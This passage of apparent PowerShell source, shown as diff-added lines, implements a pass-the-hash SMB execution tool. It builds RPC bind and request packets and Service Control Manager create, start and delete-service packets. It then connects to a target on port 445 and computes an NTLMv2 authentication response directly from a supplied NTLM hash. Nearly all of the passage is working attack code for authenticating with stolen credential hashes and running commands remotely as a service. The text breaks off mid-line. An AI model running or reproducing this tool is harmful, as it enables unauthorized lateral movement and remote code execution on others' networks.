[System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) + $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) + $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) + $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind +} + +function Get-PacketRPCRequest() +{ + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_object_UUID) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_object_UUID.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) + $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) + $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) + $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) + $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) + + if($packet_object_UUID.Length) + { + $packet_RPCRequest.Add("RPCRequest_ObjectUUID",$packet_object_UUID) + } + + return $packet_RPCRequest +} + +#SCM + +function Get-PacketSCMOpenSCManagerW() +{ + param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) + $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID1 += 0x00,0x00 + $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID2 += 0x00,0x00 + + $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + + return $packet_SCMOpenSCManagerW +} + +function Get-PacketSCMCreateServiceW() +{ + param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, + [Byte[]]$packet_command,[Byte[]]$packet_command_length) + + $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID += 0x00,0x00 + + $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle",$packet_context_handle) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName",$packet_service) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID",$packet_referent_ID) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName",$packet_service) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName",$packet_command) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SCMCreateServiceW +} + +function Get-PacketSCMStartServiceW() +{ + param([Byte[]]$packet_context_handle) + + $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle",$packet_context_handle) + $packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SCMStartServiceW +} + +function Get-PacketSCMDeleteServiceW() +{ + param([Byte[]]$packet_context_handle) + + $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle",$packet_context_handle) + + return $packet_SCMDeleteServiceW +} + +function Get-PacketSCMCloseServiceHandle() +{ + param([Byte[]]$packet_context_handle) + + $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle",$packet_context_handle) + + return $packet_SCM_CloseServiceW +} + +function DataLength2 +{ + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + + return $string_length +} + +if($hash -like "*:*") +{ + $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) +} + +if($Domain) +{ + $output_username = $Domain + "\" + $Username +} +else +{ + $output_username = $Username +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} +$SMB_client = New-Object System.Net.Sockets.TCPClient +$SMB_client.Client.ReceiveTimeout = 60000 + +try +{ + $SMB_client.Connect($Target,"445") +} +catch +{ + Write-Output "$Target did not respond" +} + +if($SMB_client.Connected) +{ + $SMB_client_stream = $SMB_client.GetStream() + $SMB_client_receive = New-Object System.Byte[] 1024 + $SMB_client_stage = 'NegotiateSMB' + + while($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes 0x00,0x00 + $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $SMB_client_stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') + { + Write-Output "SMB signing is enabled" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x82,0x08,0xa0 + } + + } + else + { + $SMB_client_stage = 'NegotiateSMB2' + + if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') + { + Write-Output "SMB signing is enabled" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes 0x00,0x00 + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + } + + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' + } + + } + + } + + $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) + $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" + $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive + $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive + $SMB_session_ID = $SMB_client_receive[44..51] + $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] + $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.length - 12)..($SMB_target_details.length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) + $auth_username_length = $auth_username_length[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) + $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $SMB_target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $SMB_target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) + $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $SMB_session_key_length + + $SMB_session_key_length + + $SMB_session_key_offset + + $SMB_negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + if($SMB_version -eq 'SMB1') + { + $SMB_user_ID = $SMB_client_receive[32,33] + $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + } + + $packet_SMB_header["SMBHeader_UserID"] = $SMB_user_ID + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $NTLMSSP_response + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_version -eq 'SMB1') + { + + if([System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') + { + Write-Output "$output_username successfully authenticated on 